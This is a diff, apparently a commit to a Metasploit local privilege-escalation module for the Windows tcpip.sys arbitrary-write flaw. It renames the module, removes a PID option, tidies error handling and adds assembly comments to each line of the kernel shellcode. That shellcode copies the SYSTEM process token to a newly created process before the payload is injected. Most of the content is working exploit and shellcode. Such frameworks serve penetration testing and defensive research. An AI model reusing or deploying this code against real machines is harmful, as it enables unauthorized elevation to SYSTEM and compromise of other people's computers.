@@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local
18
18
19
19
def initialize ( info = { } )
20
20
super ( update_info ( info , {
21
- 'Name' => 'Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation' ,
21
+ 'Name' => 'Windows tcpip.sys Arbitrary Write Privilege Escalation' ,
22
22
'Description' => %q{
23
23
A vulnerability within Microsoft TCP/IP protocol driver, tcpip.sys, can allow an attacker
24
24
to inject memory controlled by the attacker into an arbitrary location.
@@ -49,11 +49,6 @@ def initialize(info={})
49
49
'DefaultTarget' => 0
50
50
} ) )
51
51
52
- register_options (
53
- [
54
- OptString . new ( 'PID' , [ true , 'The target PID to elevate into' , nil ] ) ,
55
- ] )
56
-
57
52
end
58
53
59
54
def check
@@ -62,9 +57,8 @@ def check
62
57
end
63
58
64
59
handle = open_device ( '\\\\.\\tcp' , 'FILE_SHARE_WRITE|FILE_SHARE_READ' , 0 , 'OPEN_EXISTING' )
65
- if handle . nil?
66
- return Exploit ::CheckCode ::Safe
67
- end
60
+ return Exploit ::CheckCode ::Safe unless handle
61
+
68
62
session . railgun . kernel32 . CloseHandle ( handle )
69
63
70
64
file_path = get_env ( 'WINDIR' ) << "\\ system32\\ drivers\\ tcpip.sys"
@@ -113,9 +107,8 @@ def exploit
113
107
p = payload . encoded
114
108
new_pid = create_proc
115
109
116
- if new_pid . nil?
117
- print_warning ( 'Unable to create a new process.' )
118
- return
110
+ unless new_pid
111
+ fail_with ( Failure ::Unknown , 'Unable to create a new process.' )
119
112
end
120
113
121
114
print_status ( "Injecting #{ p . length } bytes into #{ new_pid } memory and executing it..." )
@@ -133,25 +126,37 @@ def exploit
133
126
134
127
session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ 0x1000 ] . pack ( 'V' ) , nil , [ 0x4000 ] . pack ( 'V' ) , "MEM_RESERVE|MEM_COMMIT" , "PAGE_EXECUTE_READWRITE" )
135
128
136
- if not this_proc . memory . writable? ( 0x1000 )
137
- vprint_error ( "Failed to allocate memory" )
138
- return nil
139
- else
140
- vprint_good ( "0x1000 is now writable" )
129
+ unless this_proc . memory . writable? ( 0x1000 )
130
+ fail_with ( Failure ::Unknown , 'Failed to allocate memory' )
141
131
end
142
132
143
133
buf = "\x00 \x04 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x02 \x00 \x00 \x00 \x02 \x00 \x00 \x22 \x00 \x00 \x00 \x04 \x00 \x00 \x00 \x00 \x00 \x01 \x00 \x00 \x00 \x00 \x00 "
144
134
145
- sc = "\x60 \x64 \xA1 \x24 \x01 \x00 \x00 \x8B \x40 \x38 \x50 \xBB \x04 "
146
- sc << "\x00 \x00 \x00 \x8B \x80 \x98 \x00 \x00 \x00 \x2D \x98 "
147
- sc << "\x00 \x00 \x00 \x39 \x98 \x94 \x00 \x00 \x00 \x75 \xED \x8B \xB8 \xD8 "
148
- sc << "\x00 \x00 \x00 \x83 \xE7 \xF8 \x58 \xBB "
135
+ sc = "\x60 " # save registers
136
+ sc << "\x64 \xA1 \x24 \x01 \x00 \x00 " # mov eax, [fs:0x124]
137
+ sc << "\x8B \x40 \x38 " # mov eax, [eax+0x38]
138
+ sc << "\x50 " # push eax
139
+ sc << "\xBB \x04 \x00 \x00 \x00 " # mov ebx, 0x4
140
+ sc << "\x8B \x80 \x98 \x00 \x00 \x00 " # mov eax, [eax+0x98]
141
+ sc << "\x2D \x98 \x00 \x00 \x00 " # sub eax, 0x98
142
+ sc << "\x39 \x98 \x94 \x00 \x00 \x00 " # cmp [eax+0x94], ebx
143
+ sc << "\x75 \xED " # jne 0x10
144
+ sc << "\x8B \xB8 \xD8 \x00 \x00 \x00 " # mov edi, [eax+0xd8]
145
+ sc << "\x83 \xE7 \xF8 " # and edi, 0xfffffff8
146
+ sc << "\x58 " # pop eax
147
+ sc << "\xBB " # mov ebx, new_pid
149
148
sc << [ new_pid ] . pack ( 'V' )
150
- sc << "\x8B \x80 \x98 \x00 \x00 \x00 \x2D \x98 \x00 \x00 \x00 \x39 \x98 \x94 "
151
- sc << "\x00 \x00 \x00 \x75 \xED \x89 \xB8 \xD8 \x00 \x00 \x00 \x61 \xBA "
152
- sc << "\x39 \xFF \xA2 \xBA "
153
- sc << "\xB9 \x00 \x00 \x00 \x00 "
154
- sc << "\xB8 \x3B \x00 \x00 \x00 \x8E \xE0 \x0F \x35 \x00 "
149
+ sc << "\x8B \x80 \x98 \x00 \x00 \x00 " # mov eax, [eax+0x98]
150
+ sc << "\x2D \x98 \x00 \x00 \x00 " # sub eax, 0x98
151
+ sc << "\x39 \x98 \x94 \x00 \x00 \x00 " # cmp [eax+0x94], ebx
152
+ sc << "\x75 \xED " # jne 0x32
153
+ sc << "\x89 \xB8 \xD8 \x00 \x00 \x00 " # mov [eax+0xd8], edi
154
+ sc << "\x61 " # restore registers
155
+ sc << "\xBA \x39 \xFF \xA2 \xBA " # mov edx, 0xbaa2ff39
156
+ sc << "\xB9 \x00 \x00 \x00 \x00 " # mov ecx, 0x0
157
+ sc << "\xB8 \x3B \x00 \x00 \x00 " # mov eax, 0x3b
158
+ sc << "\x8E \xE0 " # mov fs, eax
159
+ sc << "\x0F \x35 \x00 " # sysexit
155
160
156
161
this_proc . memory . write ( 0x28 , "\x87 \xFF \xFF \x38 " )
157
162
this_proc . memory . write ( 0x38 , "\x00 \x00 " )
@@ -167,10 +172,10 @@ def exploit
167
172
168
173
unless is_system?
169
174
fail_with ( Failure ::Unknown , "The exploitation wasn't successful" )
170
- else
171
- print_good ( "Exploitation successful!" )
172
175
end
173
176
177
+ print_good ( "Exploitation successful!" )
178
+
174
179
end
175
180
176
181
end
0 commit comments